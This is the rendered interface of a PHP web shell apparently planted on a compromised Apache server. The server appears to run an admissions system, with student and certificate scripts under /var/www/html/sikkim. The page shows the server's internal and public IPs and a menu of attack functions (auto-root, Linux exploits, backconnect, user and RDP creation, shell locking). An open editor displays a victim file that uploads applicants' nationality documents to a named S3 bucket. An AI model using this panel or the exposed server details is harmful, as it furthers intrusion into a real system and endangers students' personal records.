Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.118.128.17
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sikkim /
adm /
custom_src /
[ HOME SHELL ]
Name
Size
Permission
Action
adm_nationality_doc.php
1.52
KB
-rw-rw-r--
applicationfromreport.php
35.52
KB
-rwxr-xr-x
applicationfromreport_old.php
18.42
KB
-rwxr-xr-x
applicationreport.php
37.6
KB
-rwxr-xr-x
candidate_certificate.php
16.11
KB
-rwxr-xr-x
getnumword.php
7.15
KB
-rwxr-xr-x
pending_certificate.php
11.96
KB
-rwxr-xr-x
stringspliter.php
693
B
-rwxr-xr-x
student.php
41.2
KB
-rwxr-xr-x
student_19082019.php
25.39
KB
-rwxr-xr-x
student_old.php
23.37
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : adm_nationality_doc.php
<?php require_once(_DIR_ . "/../../../aws/aws-autoloader.php"); use Aws\S3\S3Client; use Aws\S3\Exception\S3Exception; function uploadNationalityDoc($aobj_context){ $univcode = $aobj_context->mobj_data['univcode']; $regno = $aobj_context->mobj_data['regno']; $collcode = $aobj_context->mobj_data['collcode']; $doc = $aobj_context->mobj_data['doc']; $filename = $_FILES['file']['name']; $tempdata = $_FILES['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_EXTENSION); if(isset($filename) && $filename != ''){ $s3 = S3Client::factory( array( 'credentials' => array( 'key' => IAM_KEY, 'secret' => IAM_SECRET ), 'version' => "latest", 'region' => 'ap-south-1' ) ); $key = $univcode."/".$collcode."/".$doc."/".$regno.'.'.$ext; try { $res = $s3->putObject(['Bucket' => 'admission-certificates', 'Key' => $key, 'SourceFile' => $tempdata]); if($res){ $arr['msg'] = 'successfully uploaded'; $arr['filepath'] = $key; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } } catch (S3Exception $e) { $arr['message'] = 'Unable to upload photo'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } } ?>
Close